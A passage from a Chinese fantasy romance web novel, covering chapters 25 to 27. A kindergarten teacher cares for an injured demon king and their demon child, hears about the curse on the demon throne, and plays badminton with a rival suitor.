“没事,杨老师这么晚打过来,是有什么急事吗?” “没有,”杨思昭有一搭没一搭地揪着被角,闷声问:“陆无烬他……在哪儿?” “先生受了点伤。” 杨思昭腾的坐起来。 眠眠也听到了,不知所措地捉住杨思昭的睡衣衣摆,仰头望着。 “妖界的一些琐事,杨老师不必担心,先生很快就会恢复了,明天就可以回您那边。对了,先生叮嘱过,我忘了问,杨老师明天早上想吃什么?” “我——” 一个小时后,左手牵着眠眠,右手拎着一盒水饺的杨思昭站在潜山别墅的门口,望着昏惨惨、阴森森的三层小楼,他想不明白自己为什么会出现在这里。 可他还是敲了门。 陈此安为他打开门,对他的到来表示热情的欢迎,“杨老师,先生在二楼。” 杨思昭觉得自己往楼上走的每一步都在背离自己的初衷,可当他推开卧室门,看到床上躺着的看起来有些虚弱的陆无烬时,心还是忍不住酸了一下。 还以为他无所不能呢。 陆无烬察觉到他的脚步声,睁开眼,转过头,直直地朝他望过来。 “你受伤了?”杨思昭小声问。 陆无烬看了他许久,才开口:“你希望我受伤,还是希望我今晚又爬上你的床?” 第25章 杨思昭后悔了。 他不该来这一趟,简直狗咬吕洞宾,不识好人心,他为自己这一个小时的奔波而后悔。陆无烬这个妖怪,他永远不知道冬天从温暖的被窝里爬起来,穿上衣服,走到零下一度的室外,对人类来说有多么痛苦且艰难。 他倒也无所谓了,更可怜的是眠眠,本来这个点,眠眠应该已经进入梦乡了。 他真是讨厌死陆无烬了。 “我希望你受伤,最好遍体鳞伤,可以了吧,你不就想听到这个回答吗?” 杨思昭说完就要离开,一转身,门霍然关上,咣当的响声在寂静夜里显得尤为刺耳。 杨思昭快步走到门边,用力拉了两下。 门纹丝不动。 “你这样有意思吗?” 陆无烬依旧躺在床上,闭目养神,“当然没有对门的裴先生有意思。” “和裴先生有什么关系?” 杨思昭疑惑不解,陆无烬仍是一副高高在上的问责模样。 杨思昭实在想不明白,“你是我什么人啊,凭什么对我的交际圈指手画脚?你真的很奇怪,我问你,你什么都不肯说,动辄就是天机不可泄露。我不问了,你又对我做那些事,我不愿意,你就摆出这副不冷不热的样子,一切都变成我的错了。” 他把保温盒扔到一旁的柜子上,“你爱吃不吃,把门打开,我要带眠眠回家。” 说完,房间里陷入死寂。 他等了好一会儿,都听不见陆无烬的声音,连因为受伤而显得有些粗重的呼吸声都听不见。他竖起耳朵分辨了几秒,心猛地一沉,还是忍不住回过身,走到床边。 他用手推了推陆无烬的臂膀。 “别装了。” 陆无烬确实没有装,他只是伤得太重,正在识海之中汇聚灵力。这个过程其实是不能打断的,但他感觉到杨思昭的手隔着衣服布料触碰到他的臂膀,便停了下来,缓缓睁开眼,语气不似方才硬冷,“我没说是你的错。” “你就是这个意思,昨晚开始就这样了,对人一阵冷一阵热,今早也是。” 杨思昭觉得很委屈。 虽然他不欢迎陆无烬的出现,但他每一次也都逆来顺受了,陆无烬还要他怎样? “你看不出来我吃醋了吗?”陆无烬说。 杨思昭呆住。 陆无烬的目光仍然直直地落在他的脸上,微微往下,停在唇畔良久,忽然说: “你很久没对我笑了。” 三百年前都是洵暮逗他笑,洵暮没心没肺惯了,哪怕有些小脾气,很快就把自己哄好了。陆无烬独自苦修了百年,情绪比天山雪还要冷淡,洵暮又离开得太早,他不知道该怎么逗爱人开心,可是裴怀谦知道。 裴怀谦说,他和杨思昭也有过一段,怎样的一段?陆无烬强迫自己不去想。 这话说得杨思昭摸不着头脑,正要反问,突然反应过来——这个很久,是指三百年那么久吗?这个老妖怪又对着他的脸思念故人了吗?说不是替身,其实有什么差别呢? 陆无烬又问:“和他聊了什么,回家之后还在笑?” 杨思昭已经对于家里装了不知多少个灵眼这件事麻木了,哼了一声,“裴先生很会聊天,让人如沐春风,他夸我厉害,我很高兴。” 他瞥了一眼陆无烬,故意道:“真希望以后能经常和裴先生聊天,不像我和你,压根没话聊。” 陆无烬听了,轻笑一声。 但是他的唇线似乎被一只无形的手一点点地抻平拉直,最后变成一言不发的样子。 杨思昭觉得一定是陈此安在配合诓骗他,这个老妖怪看起来分明好的很,一点都没有受伤的样子。 他低头看,眠眠已经困得不行,站着就要打瞌睡了。他连忙把眠眠抱起来,让小家伙靠在自己的肩头,然后催促陆无烬,“快点把门打开,我要回去了。” 陆无烬本想直接用法术传送他们三个回家,但他灵力耗损太过,一时间竟然无法承托。 “今晚就留在这儿吧。” “?” 陆无烬撑起上半身,倚在床头,望向柜子,表情自然得好像刚刚的争吵没发生过,“我还没吃晚饭,可以吃你做的水饺吗?” “……” 杨思昭发现自己也是耳根子软,但凡陆无烬跟他好声好气地说话,他就没脾气了,甚至还觉得陆无烬有些可怜。 他甚至都没注意到,他提都没提自己带来的是水饺,但陆无烬直接点名要吃。 “家里没有带分隔的保鲜盒,水饺估计已经粘到一起了,你让陈助理给你点餐吧。”他低头捏了捏手指头,不情不愿地说。 “没关系,我想吃。” 杨思昭在原地踌躇了片刻,最后还是心软。 反正他已经连人带水饺地站在这里了,还扭捏什么呢? 他先把眠眠抱到床边,脱掉眠眠的小鞋子,说:“眠眠要睡觉了,就在你旁边睡吧。” 这话一出,眠眠瞬间睁大了眼睛,就连一脸倦色的陆无烬都愣住了。 眠眠不敢回头看陆无烬,急急朝杨思昭伸手要抱,但是杨思昭已经手速超快地拽掉了他的小雪地靴,脱掉他的羽绒服和外裤,然后一手托后背,一手托膝弯,直接将他塞进了陆无烬的被窝。 陆无烬略显疑惑,眠眠更是泪眼婆娑,可怜巴巴地朝他伸手,“妈妈……” “你这是什么意思?”陆无烬问。 “什么什么意思?”杨思昭不答反问,去柜子里拿出保温盒。 掀开盖子,香味就溢了出来。 幸好他在饺子里加了些面汤,不然就真的要坨成一块饺子饼了。 他还是不太情愿,递给陆无烬的时候故意抬着下巴,声音也是硬邦邦的:“里面有生姜也有葱的,没打得很碎,能吃出来,吃不下可不怪我。” 房间里灯光昏暗,但他依旧能清晰地感觉到陆无烬的视线落在他的脸上,他有些不耐烦了,想要收回手,“不吃就算了。” “我手疼。”陆无烬说。 “哈?” 陆无烬垂着两条胳膊,看起来有气无力,“我的手受伤了。” 这人的脸皮真的太厚了! 杨思昭没好气地说:“刚刚不是很神武的,咣当一下关上门吗?” 陆无烬闭眼一瞬,手背上立即出现了一道血口,他缓缓举起手,给杨思昭看。 杨思昭吓了一跳,保温盒差点洒了,“真、真受伤了?” 眠眠在一旁偷偷看,又低头看了看自己的手背。 “你到底因为什么受的伤?你不是妖王吗?还有什么妖比你更厉害吗?你没有手下没有护卫吗?”杨思昭一连串问了一堆问题。 陆无烬仍是讳莫如深,只是语气温和,“陈年旧事,不值一提了。” 杨思昭再一次心软了,他坐在床边,用勺子舀了一只水饺,喂到陆无烬嘴边。 陆无烬不动,直勾勾地盯着他的脸。 杨思昭简直不知道如何安置自己的眼睛,看哪里都显得刻意,只能皱起眉头,催他:“张嘴。” 陆无烬很配合地张开嘴。 怕汤水滴下来,杨思昭又在陆无烬的领口塞了两张面巾纸,陆无烬微微挑起眉,“这是什么?” “围兜。” 尊贵的妖王显然不能接受自己身上出现这样的东西,脖子僵硬,表情都不自然起来,但是杨思昭不许他摘,他只好作罢。 猪肉白菜馅的水饺,杨思昭还加了一点香菇丁,吃起来很鲜香,饺子皮是他在菜市场里买的,不是超市包装款,是一个带老花镜的老奶奶一边手擀一边售卖的,所以又大又厚实,煮出来筋道紧实,还不容易破。 陆无烬一口一个,看起来还挺喜欢吃的。 眠眠正百无聊赖地缩在床边玩着被角,闻到水饺的香味,鼻子嗅了嗅,还是忍不住爬过去。可是陆无烬的身体挡住了他扑向妈妈的路,他只能坐在陆无烬的腰侧,可怜巴巴地望着杨思昭。 口水都快从嘴角流出来了。 杨思昭一看到他就露出笑容:“眠眠饿了吗?” 眠眠不好意思地点了点头。 杨思昭于是把即将送到陆无烬嘴边的水饺,直接转了个弯,送到眠眠等待已久的嘴巴里。 眠眠两眼一亮,把嘴巴张到最大,但他再怎么努力,一次也只能吃三分之一。 杨思昭扯了两张面巾纸,塞在眠眠的领口。 陆无烬看了看自己的领口,又看了看眠眠,陷入了沉默:“……” 眠眠自然是毫不介意的,他甚至很喜欢自己的新围兜,仰起头说:“兜兜像小花。” 他仰起头时,脸看起来圆圆的,再加上蜷曲的卷发,柔软的鹅黄色小毛衣,简直就是一个完美的人形小玩偶,杨思昭恨不得把剩下的水饺都留给他。怎么身上流着一样的血,小的这么可爱,大的就这么讨人嫌呢? 但是眠眠吃几口就吃不下了,闭起嘴巴,软趴趴地倒在被子里,朝杨思昭撒娇。 杨思昭对他是一点脾气都没有的,看着勺子里还剩半边的水饺,毫不犹豫地塞进陆无烬的嘴里。 陆无烬倒是没嫌弃,吃了,然后抱起胳膊,好整以暇地望着他。 杨思昭有点心虚,“那个……饺子好像有点凉了,我去楼下加热一下。” 说完几乎忙不迭跑了。 他走后,卧室里就剩下陆无烬和眠眠,两个人大眼瞪小眼了好一会儿,没人先开腔。 眠眠闷闷不乐地爬回到被窝里,继续玩被角,等待着妈妈的归来。 过了几分钟,他又翻过身,看到陆无烬闭着的眼睛,悄悄凑过去,看到陆无烬手上的血口子。 一指长的血口,深红色,渗着血。 眠眠很害怕,整张脸皱起来,眉毛和嘴巴都变成了波浪形。 他想吹吹,又怕被爸爸发现。 “把手给我。”头顶忽然响起爸爸的声音。 他抬起头,对上了陆无烬的视线,他伸出小手,放在陆无烬的大手上,他的手还没有陆无烬的掌心大,陆无烬说:“握拳头。” 他乖乖握起拳头。 陆无烬将拇指指腹按在眠眠的虎口,“使劲。” 眠眠不知道怎么使劲,陆无烬教他耸起肩膀,眠眠绷紧了小小身体,用力“咦咦嗯嗯”。忽然间,有一束浅蓝色的光线从眠眠的指缝中钻了出来,小蛇似的在空中绕了一圈,然后慢慢地飞向陆无烬的手背,变成细闪闪的光点,不偏不倚地覆在那道瘆人的血口上。 很快,血口变得浅淡,而后渐渐消失。 眠眠惊讶地张大嘴巴,眼睛睁得溜圆,正要扑上去分享这份神奇,又反应过来——是爸爸。 不是妈妈,不能抱抱和亲亲。 他低下头,再一次握起小拳头,用力,可是光线小蛇没有出现,他有些沮丧,陆无烬托住了他的手,语气比以前温和许多:“拳头握紧,眼睛看着。” 很快,浅蓝色的光线又飞了出来。 陆无烬松开手,说:“以后如果妈妈受伤了,你就这样帮他,知不知道?” 眠眠用力点头。 杨思昭端着保温盒回来的时候,陆无烬手背上的伤已经完全消失无痕了。 眠眠的指尖还留有一簇微笑的蓝色光点,他左晃晃,右晃晃,光点一直追随着他,他新奇得很,玩得不亦乐乎,看到杨思昭过来,他立即举起手,展示给杨思昭看。 杨思昭看着父子俩坐在一起的画面,有些晃神,停在床边良久,才笑着对眠眠说:“眠眠好厉害呀,怎么会有眠眠这么厉害的小妖怪呢?” 眠眠的小脸红扑扑的,因为害羞,整个人栽进被窝,只露出一个屁股,叽里咕噜的不知道在说些什么。 “手也好了,自己吃吧。” 杨思昭把保温盒塞到陆无烬手里,又放了杯热水在床头柜上。 “谢谢。”陆无烬说。 总共还剩五只水饺,陆无烬很快就吃完了,放下盒子时忽然说了句:“很好吃。” 杨思昭一怔,耳尖不自觉发烫。 “你是沾了眠眠的光。” 再转头望过去,眠眠已经撅着屁股拱在被窝里昏昏欲睡了,杨思昭绕到另一边。 因为陆无烬的床上只有一只枕头,杨思昭去到眠眠的房间里取了小枕头,垫在眠眠的脑袋下。眠眠睡前总是要在他的怀里黏黏糊糊哼哼唧唧好一会儿,今天可能是折腾累了,只握着杨思昭的手指就睡着了。 杨思昭给他盖上被子,在床边看了他一会儿。 平日里看他,只觉得他比幼儿园的其他孩子小一点,此刻睡在陆无烬身边,显得只有巴掌大,和小羊羔没什么区别了。 “非要放我这儿?”陆无烬问。 杨思昭轻声说:“是,就放你这里,以后你……你每周起码一次,陪眠眠睡觉。” “你呢?” 杨思昭愣住,“我什么?” “我陪他睡,你陪我睡吗?” “陆无烬!你烦不烦?”杨思昭简直不想跟这种满脑子都是黄色废料的人说话,头也不回地走出了卧室。 一出门,正巧和上楼的陈此安撞上,陈此安才处理完今日的工作,打着哈欠走上来,看到杨思昭,立即一键切换成金牌助理的干练模样,笑着问:“杨老师,有什么需要我帮忙的吗?” 杨思昭语塞。 “我帮您倒杯水?” “不用,”杨思昭摆手,往下走了几节台阶,小声问,“陆无烬到底因为什么受的伤?” 陈此安为难一笑,“如果先生没有告诉您,我肯定不能说的。” “伤得很重吗?” “也不算重伤,只是……” 看出来陈此安这里有攻破的希望,杨思昭开动了很久没有动过的脑筋,“不算重伤,那就无所谓了,反正他是妖王,刀枪不入的,我一个人类担心他做什么?” 陈此安立即反驳:“不是的,杨老师,再刀枪不入也会疼啊,又不是泥巴捏的,怎么能无所谓呢?” “他有七情六欲?我听齐妍说,妖王世代受无情无爱的诅咒,生来无情,只有繁衍的欲望,他不就是么?” “那些小妖都是道听途说,无情咒是妖王宝座的诅咒,不是妖王一族的诅咒!”陈此安作为陆无烬的忠实追随者,自然不能接受偶像被如此污蔑——哪怕污蔑者是他偶像的老婆。 他完全忘了半分钟之前自己说过的话,开始喋喋不休:“先生三百年前堕入妖道,因为他灵力充沛,很快就遭到了原来妖王的追杀,为了保命,先生决定反杀妖王取而代之,经过了难以想象的困难,他终于将妖王斩于剑下,然而登上宝座之后,他才意识到有无情咒这回事。” “杨老师,你没法想象无情咒是个什么样的东西,剥除一切情感、变成一个六亲不认的冷血怪物,只有这样的妖王才能摒除杂念,一心守护妖界。但先生不能六亲不认,他还有眠眠,他不能伤害到眠眠,他献上一千五百年的功力,换得眠眠三百年的沉睡,又用心头血祭法阵,一次又一次,与无情咒做对抗。” “他不是受重伤,他只是在做三百年里做了无数次的事,血祭法阵。” 杨思昭听得怔怔。 一直到陈此安义愤填膺地说完,他仍旧愣着,他已经完全不去想:多荒谬的玄幻故事,听得怪离谱的。 他只有一个念头:陆无烬也挺可怜的。 “杨老师,先生交代过,我对您要守口如瓶,但我实在忍不住,我想请您一件事,您能答应吗?” “你说。” “其实先生并不像他表现出来的,那般高高在上,那般冷酷无情,他只是孤独了太多年,不知道怎么和人相处。” 又或者是,等待了太多年,爱意炙热到不能轻易拿出来,怕吓到转世的爱人。 “您愿意给先生一点时间,对他有更深的了解吗?”陈此安恳切地说。 杨思昭没有立即回答。 喉咙好像被什么东西堵住了,鼻梁也是酸涩的,许久,他才点点头。 他下楼,一个人在客厅里坐了好久。 快到十二点半了,陈此安走上来,“杨老师,先生让您回房间睡觉。” 这话听着很是诡异。 一个是老师,一个是学生家长,合在一起就像是犯了什么禁忌。杨思昭连忙说:“不要,我睡眠眠的房间。” “这……” “你告诉他,我今晚只睡眠眠的房间,没有其他可能性,让他不要想了。” 陈此安只好应下。 他准备好了洗漱用品和睡衣,一切倒是方便得很。杨思昭在家的时候已经洗过澡了,简单收拾一下就上了床。 眠眠的小床虽然小了些,但是柔软又干净。 他躺在床上,不禁开始遐想。 眠眠刚出生的时候是什么样的?一定是粉嫩雪白的,不对,出生时应该是只小羊羔吧,浑身雪白,羊角还没长出来,鼻尖和嘴巴一定是粉粉的。 一定可爱坏了,如果是他,一定每天抱在怀里爱不释手,亲了又亲。 他又想到,那时候陆无烬和他的妻子应该也是幸福的。虽然陆无烬这个人既轻浮又莫名其妙,但杨思昭几乎可以想象出来,他在他妻子面前,应该是温柔沉稳的,充满爱意的,否则不会苦寻三百年。 三百年,听着只是轻飘飘的三个字,实则三百年能承载一座城池的兴旺,是十万九千五百个日升月落的轮回。 陆无烬就这样,独自走过光阴么? 想着想着,困意袭来。 也不知睡了多久,只觉得眼前微有光亮,应该是早晨了。 忽然,耳边传来一阵委屈的啜泣声。 他迷迷糊糊地睁开眼,看到床边趴着的眠眠,抽抽噎噎地望着他。 “眠眠?”杨思昭还没完全醒,手已经伸出去,“爬不上来吗?妈妈抱。” 眠眠立即抓住他的手,泫然欲泣,“没有眠眠的地方。” “怎么会呢?”杨思昭朝他笑,想往后让一让位置,却发现身后像有一堵墙一样,硬邦邦的,紧紧贴着他,丝毫退后不了,一回头,看到熟睡中的陆无烬。 “……” 陆无烬把脸埋在他的肩头,胳膊圈住杨思昭的臂膀。 杨思昭顺着他的手往下看。 看到自己被掀起一大半的睡衣,还有陆无烬覆在他胸口的手。 作者有话说: 老陆:苦了三百年,但一个月吃回本了。 第26章 眠眠的床很小,只比单人床宽一点。 杨思昭一个人睡正好,加上陆无烬就显得窄小拥挤,连转个身的余地都没有了。 眠眠看起来已经爬上来又被挤下去好几次了,委屈到了极点。杨思昭一时之间竟然不知道是先抱眠眠,还是先推开陆无烬。 “陆无烬!”他低声喊。 陆无烬不回应。 杨思昭又用臂肘狠狠杵了他两下,他似乎睡得很沉,只动了动身子,往床边挪了一点,然后立即将杨思昭抱得更紧。 “……” 杨思昭刚醒没多久,浑身一点力气都没有,挣扎无用,在被子里用脚踹,陆无烬也是纹丝不动,他只能在陆无烬的禁锢中勉强伸出手,握住眠眠的小胳膊,把他拽上床。 一张单人床,睡了三个人。 眠眠只能占据巴掌大的地方,他像小老鼠一样拱进被子,钻到杨思昭的怀里。 杨思昭现在被前后夹击了。 前面不舍得推,后面硬得像堵墙。 眠眠扑到杨思昭的怀里,本来想贴在妈妈的胸口,可是脸邦的一下撞在一只大手上。 这只大手和他的脸差不多大,指节像隆起的山脊,不仅牢牢按在妈妈的胸口,推也推不开,还抬起一根指头,在他的脸蛋上拨了一下,害得他的脸颊肉敦敦弹了起来。 他张大嘴巴,又不敢咬,只能钻出被窝,向杨思昭告状:“爸爸弄我的脸。” 杨思昭托住他的小脸,“揉一揉。” 眠眠觉得这还不够,学着陆无烬的动作,又告了一遍状:“爸爸弄我的脸!” “真烦人。”杨思昭在陆无烬的手背上狠狠拍了一下。 眠眠撅起嘴,哼了一声。 可陆无烬压根没睁开眼,额头抵在杨思昭的颈侧蹭了蹭,发出一声轻笑。 眠眠听见了,更委屈了,而且因为陆无烬像八爪鱼一样缠着妈妈,他都没办法抱妈妈了,他只能窝在杨思昭的肩头,两只手抓着陆无烬的手指,一个劲地掰。 陆无烬丝毫不配合,轻轻一挥,眠眠就团成小球,骨碌碌翻了个身,差点就要滚下床了。 他揪住床单,呜咽道:“妈妈!” 杨思昭刚醒过来就被迫卷入一场纷争,此刻有点头大,他先是倾身过去,把眠眠抱进怀里,然后趁机挣脱出陆无烬的束缚,在被窝里朝他踢了一脚。 眠眠紧紧搂住杨思昭的脖子,委屈道:“我一醒过来,爸爸妈妈都不在。” 杨思昭的心咯噔了一下。 虽然他已经习惯了眠眠喊他“妈妈”,但是妈妈是妈妈,和“爸爸妈妈”这四个字的意味显然是大不一样的。 怎么就变成这样了呢? 一个半月前,他还是一个毕业不到半年、每天的目标就是攒钱给自己换一个好一点出租屋的普通男青年。一个半月后的此刻,他却睡在妖怪别墅的床上,身边一个老妖怪,怀里一个小妖怪,想想都觉得荒谬。 最荒谬的是,他能理解也许他和眠眠的亲生母亲容貌相似,所以眠眠对他有天然的亲近和依赖,但是亲近归亲近,男女总是要分的吧?再想念母亲,也不该对着一个男人喊“妈妈”吧。 难道…… 想到这里,他的脑海里忽然响起一句很久之前齐妍说到一半被打断的话: “其实在我们妖族,有一种叫孕珠的东西,服用之后,男子亦可——” 亦可怀孕? 难道眠眠的“母亲”是个男人? 一切都能说通了,不是陆无烬脑子出了差错,莫名其妙对他这个男人动手动脚,是陆无烬本身就喜欢男人。找老婆找了三百年,累了又或是其他什么原因,不找了,所以停歇在他这里了。 他怔怔想着,忽然回过头,问陆无烬:“你能活多久?” 陆无烬睁开眼,视线清明,直直地投向杨思昭,“问这个做什么?” “你能活百年甚至千年,是吗?” 陆无烬用沉默作答。 杨思昭在床边坐了一会儿,抱起眠眠去卫生间洗漱。 陈此安已经准备好早餐了,杨思昭向他道谢,邀请他一起吃。 陈此安递上牛奶,“谢谢杨老师,不过我不太习惯吃人间的食物。” 杨思昭喝了一口,奇怪的是,那股铁锈味又出现了,这次似乎更浓烈了些,他几乎咽不下去,只能抓起一旁的鱼子酱吐司,咬了一大口,调整表情后继续和陈此安说话,“那你平时吃什么啊?” “潜山生态丰富,我一般出去吃些老鼠或者山雀,或者蝎子。” “……” 杨思昭干笑两声。 眠眠在一旁说:“小陈叔叔是花花蛇。” 陈此安用指尖点了点眠眠的小脸蛋,轻声纠正:“是花斑金蛇,不是花花蛇。” 杨思昭更生困顿。 快离开的时候,他问陈此安:“陆无烬的原形是羊吗?怎么会有妖王的原形是羊,我以前看过的玄幻小说里,妖王一般都是什么龙啊虎啊,还没见过羊呢。” 陈此安掩唇笑。 “你笑什么?” “我不能说太多,只能告诉您,先生不是,”陈此安看着杨思昭,笑容忽然变得意味深长,“不过……比起先生,杨老师不是更像羊吗?姓杨,叫小羊老师,还有一个羊宝宝,实在是太巧了。” 这话一出,杨思昭的心脏又开始咚咚咚地跳动了,不安感迅速上升。 他忙不迭带着眠眠离开了。 到达灿灿幼儿园的时候,正好撞上裴怀谦和许曜,裴怀谦先上前打招呼:“杨老师,今早怎么没看到你们?” 他的视线越过杨思昭,落在黑色的迈巴赫上,那明显不是杨思昭的车,杨思昭局促地挠了挠头,“我……我在朋友家住的。” 裴怀谦笑了笑,又问:“杨老师平时不太出来玩,下了班都做些什么呢?” 杨思昭被他问住了。 下了班做些什么?不就是躺在沙发上刷手机吗?先吃个晚饭,再扔个垃圾洗个澡,刷手机到晚上再顺便熬个夜,一天就过去了。 他支支吾吾说不出来。 裴怀谦笑着问:“我看小区有专门的活动空间,里面的体育设施都不错,杨老师对打羽毛球感兴趣吗?” “我不会。”杨思昭摇头。 “很简单的,杨老师有空的话我们可以约着打一打球,不然一个人总是太无聊。” 杨思昭目色怔怔。 长这么大,他没怎么接受过这样的邀约,他一直生活在自己的小壳子里,没有长久的朋友,周末也是一个人待着打发时间。 本来很孤独的,后来多了眠眠。 有了眠眠,生活变得充实而幸福。 现在又有一个人,走过来,对他说:要不要一起玩? 杨思昭觉得这种感觉很好。 他甚至觉得这位裴先生简直是从他脑袋里钻出来的,夸他厉害,邀他出来玩,这不是他一直期待又说不出口的小小愿望吗? 不像陆无烬,什么都不知道,就知道对他动手动脚,满脑子黄色废料。 这个念头一出来,杨思昭不由得打了个激灵,他真是昏了头,和陆无烬有什么关系? 他连忙朝裴怀谦笑了笑:“好呀,不过裴先生一定很忙。” “不忙,时间很多。” 裴怀谦的眼神温柔得像春日煦风,杨思昭不自觉低下头,转移了话题,“许曜小朋友,昨天的体验怎么样?” 许曜随口说了句,“一般。” 杨思昭笑着问:“那怎样才算好呢?” “离这些笨小孩远一点。” 裴怀谦制止他,“不可以这样说话。” 许曜皱着眉头反驳:“本来就很笨,他们都六岁了还不会二加三,跟他们待在一起会影响我的智商!” “眠眠,”裴怀谦俯身对眠眠说,“你知道这个小哥哥的小名叫什么吗?叫发财。” “舅舅!”许曜扑上来要捂住裴怀谦的嘴。 “为什么叫发财呢?因为小哥哥家有一条狗叫发财,但是发财人见人爱,比他受欢迎,他抢了发财的名字,占了发财的窝。” “才不是!”许曜一扭身,气鼓鼓地冲进幼儿园。 眠眠压根没听懂,但他看到许曜书包侧边露出来的小熊玩偶,他再一次伸了伸手。 下一秒,许曜就跑掉了。 杨思昭注意到眠眠的小动作,问他:“眠眠怎么了?” 眠眠摇头。 他想要小熊,但他还不知道怎么向妈妈要一个东西。 没有人教过他。 坐在教室里,他用画笔在纸上画了几个圆圈,中间一个大椭圆,周边五个小圆圈,小池凑过来,“眠眠,这是乌龟吗?” “不是,是我妈妈送我的。” “是什么东西呀?” 眠眠已经记不清了,只记得很久很久之前,妈妈用布包着棉花做了一个小娃娃给他,和那只玩具小熊长得很像,凑到他面前,笑着问:眠眠喜不喜欢吗?眠眠咿咿呀呀地回应,妈妈低下头,亲了亲他。但是第二天,妈妈就消失了,然后很多很多年,妈妈再也没有出现。 他想要找回娃娃,藏在家里,这样妈妈就永远都不会离开他了. 幼儿园外,裴怀谦刚要上车,徐蕊走出来喊住了他。 “裴先生,我是小(4)班的老师,徐蕊。” 裴怀谦颔首,“你好。” 徐蕊往前走了一步,忽然换了脸色,眼瞳一瞬间变成暗紫,笑着说:“裴先生,我家老板想和您聊一聊,不知道您有没有空?” 第二天就是周六。 杨思昭在家里和眠眠一起躺到下午两点半,刚要起来打扫卫生,裴怀谦就敲响了他的门。 他穿得运动又休闲,握着羽毛球拍,浅笑着问:“杨老师,要不要一起?” “啊……” 杨思昭呆住,“现在?” “是啊。”裴怀谦指了指窗外,“外面阳光明媚,多适合运动,总是躺在家里有什么好玩的。我给你和眠眠都准备了羽毛球拍。” 他俯身把儿童球拍递给眠眠,“眠眠喜不喜欢?” 杨思昭一头雾水。 十分钟后,他和眠眠穿戴整齐地出现在家门口,一人握着一只球拍,不知所措。 裴怀谦按了电梯键,安慰他:“不用担心,杨老师,只是运动,不是比赛。” 杨思昭干笑。 他想:他错了,这位裴先生也太自来熟了吧,虽然他也想交朋友,但他还没做好准备啊。他从不运动,四肢也不太协调,如果打得太糟糕,会不会很丢脸啊?如果陆无烬在就好了,能用法术帮到他。这个陆无烬,平时像鬼一样缠着他,需要他的时候又不出现了。 正腹诽着,电梯门缓缓打开。 杨思昭刚抬头就愣住。 里面是穿着一身黑色运动服的陆无烬,倚着电梯壁,目光定定地落在他身上。 作者有话说: 千岁老妖,为爱打球。 第27章 杨思昭没有正儿八经的运动服,他就穿了件明黄色冲锋衣和休闲长裤,毛衣是高领的,球鞋里面还穿了一双很厚实的棉袜。 他自以为很运动了,一抬头,看见两个并排站着的运动型男,差点亮瞎他的眼。 裴先生这种谦谦君子,偶尔穿穿运动服也就算了,陆无烬……他在搞什么鬼? 平日里都是及膝的大衣,又总是黑夜出没,倒也有几分妖王的神秘尊贵,今天乍穿一身干净利落的运动服,杨思昭怎么看怎么不习惯。他眯起眼睛,从下打量到上——和裴怀谦相比,陆无烬个子高些,体格也更壮,宽肩和手臂肌肉把运动服完全撑了起来,看起来能一拍子把羽毛球击穿球场天花板。 “陆先生也喜欢打羽毛球?”裴怀谦问。 “不算。” “那陆先生喜欢什么?” 陆无烬回答:“应该和裴总差不多。” 裴怀谦笑了笑,“是么?” 他又说:“陆先生知道自己喜欢什么,但似乎不太知道对方想要什么。” 陆无烬冷声说:“以权谋私,投其所好,我的确是不太会。” 裴怀谦还是温和地笑。 杨思昭左看看,右看看,完全不知道前面两个人在打什么哑谜。 眠眠更是听不懂的,他正一脸好奇地看着自己的小羽毛球拍,比妈妈手里那一把小了整整一圈。他举起球拍,盖住自己的脸,正要给杨思昭看,却发现杨思昭在低头和许曜说话。 杨思昭问许曜:“你会打羽毛球吗?” 许曜说会,杨思昭夸他好厉害。 杨思昭又问:“你舅舅说你还会编程,有自己的小机器人,你也太棒了!” 许曜刚想说自己还会更多,一低头,看见眠眠正举着球拍,眼巴巴地望着他们。 他突然冒出一个想法,他抬起胳膊牵住杨思昭的手,杨思昭习惯了看顾孩子,见他主动,笑了笑,毫不拒绝地握住了。 眠眠瞬间呆住,两眼泛起泪光。 许曜松手,他才咧开嘴笑。 好玩。 许曜眼珠一转,又一次握住杨思昭的手。 眠眠呆了两秒,一把丢掉小球拍,抱住杨思昭的腿,委屈巴巴地喊:“妈妈!” 这一声“妈妈”在狭小的电梯间里无限放大,像有回音一样,在电梯厢壁上来回循环。杨思昭整个人都僵住了,脸涨得通红。平时在家里、在小(5)班,眠眠喊他妈妈,他已经习惯了。这还是第一次,在外人面前猝不及防听到这声“妈妈”,杨思昭缓缓抬起头,朝裴怀谦干笑两声。 “那个……” 裴怀谦只是浅笑,“杨老师和孩子相处得真好。” 他让许曜松手,不要逗弟弟。 杨思昭尴尬地挠了挠头,又对上了陆无烬的目光,抱起眠眠走出电梯之后,他冲着陆无烬,用口型说:“你来干嘛?” 陆无烬稍慢了一步,和他并肩,“陪你。” “谁要你陪啊?”杨思昭驳他。 在青天白日里和陆无烬并肩而行是一件很奇怪的事,哪怕周围没有人来人往,也让杨思昭有种“奸情曝光”的心虚感。 好在裴怀谦什么都没问。 “杨老师,到了。” 听到裴怀谦的声音,杨思昭停下来。室内的羽毛球场离他们的楼栋不远,刚开业没多久,器械都是全新的,预约制,所以人也不多。裴怀谦刚走进去,球场的负责人就迎上来,笑吟吟道:“裴总,您来了,饮品、水果和小吃都为您准备好了,我们还按照您的要求开辟了一片儿童休息游乐区,您看效果如何?” 杨思昭愣住,裴怀谦朝他笑:“我在这家店有投资,今天是第一天试营业,诚邀杨老师做第一批体验官。” “啊?”杨思昭完全愣住了。 下一秒,一只手落在他的肩膀上,陆无烬揽着他,朝裴怀谦颔首:“好啊。” 杨思昭朝他皱起眉头,“你——” 陆无烬仿佛完全没接收到杨思昭的不满,低头捏了一把眠眠的脸蛋,眠眠把脸埋在杨思昭的肩头,他又照着眠眠的蓬软卷发撸了一把。眠眠气到嗓子里发出呼噜噜的声音,直到杨思昭低头亲亲他。 这场矛盾才没有激化。 陆无烬抬眸望向裴怀谦,裴怀谦还是笑着,只是眼中神采浓重了几分。 羽毛球还算是比较好上手的体育项目,裴怀谦教了杨思昭几个挥拍的动作,以及站姿和握姿,杨思昭一个人练了几遍,很快就能握着球拍上场了。 陆无烬玉面罗刹般端坐一旁,冷冷看着,似乎没有屈尊下场的意思。 他看着杨思昭喝了口水,看他脱了外套,露出清瘦的身形,看着他走到球场中央,看着他向裴怀谦遥遥比了个“OK”,看他仰起头举起球拍,发尾微微翘着,弹跳起来时,衣摆扬起,露出一截白皙的后腰。 杨思昭的视线明明应该紧盯着裴先生手里的羽毛球,却不由自主地往后飘。 他觉得身后有一束强烈又赤裸的目光,直直地投在他的后背上,不是审视,更像是描摹,让他浑身不自在起来。 因为注意力的不集中,他没接住裴怀谦的球,他讪讪笑了一声,说:“不好意思,裴先生,我实在不擅长运动。” 